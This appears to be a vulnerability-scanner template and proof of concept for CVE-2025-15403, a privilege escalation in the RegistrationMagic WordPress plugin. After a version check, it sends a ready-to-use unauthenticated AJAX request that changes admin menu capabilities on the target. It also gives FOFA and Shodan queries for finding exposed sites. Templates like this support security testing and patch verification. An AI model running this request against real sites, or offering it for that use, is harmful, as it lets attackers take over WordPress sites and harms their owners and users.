RegistrationMagic WordPress plugin <= 6.0.7.1 contains a privilege escalation caused by improper access control in 'add_menu' via 'rm_user_exists' AJAX action, letting unauthenticated attackers manipulate admin menu capabilities, exploit requires subscriber user for further escalation.
PoC
id: CVE-2025-15403
info:
name: RegistrationMagic <= 6.0.7.1 - Privilege Escalation
author: 0x_Akoko,pdresearch
severity: critical
description: |
RegistrationMagic WordPress plugin <= 6.0.7.1 contains a privilege escalation caused by improper access control in 'add_menu' via 'rm_user_exists' AJAX action, letting unauthenticated attackers manipulate admin menu capabilities, exploit requires subscriber user for further escalation.
impact: |
Unauthenticated attackers can escalate privileges to gain admin capabilities, potentially compromising the entire WordPress site.
remediation: |
Update to the latest version beyond 6.0.7.1.
reference:
- https://github.com/Nxploited/CVE-2025-15403
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/registrationmagic/
- https://nvd.nist.gov/vuln/detail/CVE-2025-15403
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-15403
epss-score: 0.01675
epss-percentile: 0.76142
cwe-id: CWE-269
metadata:
verified: true
max-request: 2
vendor: metagauss
product: registrationmagic
framework: wordpress
fofa-query: body="/wp-content/plugins/custom-registration-form-builder-with-submission-manager/"
shodan-query: http.html:"/wp-content/plugins/custom-registration-form-builder-with-submission-manager/"
tags: cve,cve2025,wordpress,wp,wp,wp-plugin,registrationmagic,privilege-escalation,intrusive,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(tolower(body), "registrationmagic")'
- 'compare_versions(ver, "<= 6.0.7.1")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
name: ver
part: body
group: 1
regex:
- '(?i)Stable tag:\s*([\d.]+)'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- '!contains(body, "-1")'
- 'len(body) <= 5'
condition: and
# digest: 4a0a004730450221008e935fccbf47ee5cd3bb7eed0eed1f11e84a8cecc3d6e9904d11bc50f53264d60220352527a522b9f38aeb6f9ebd2c7699acfd0d7de145e9cf1472b88e4a107de6f1:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.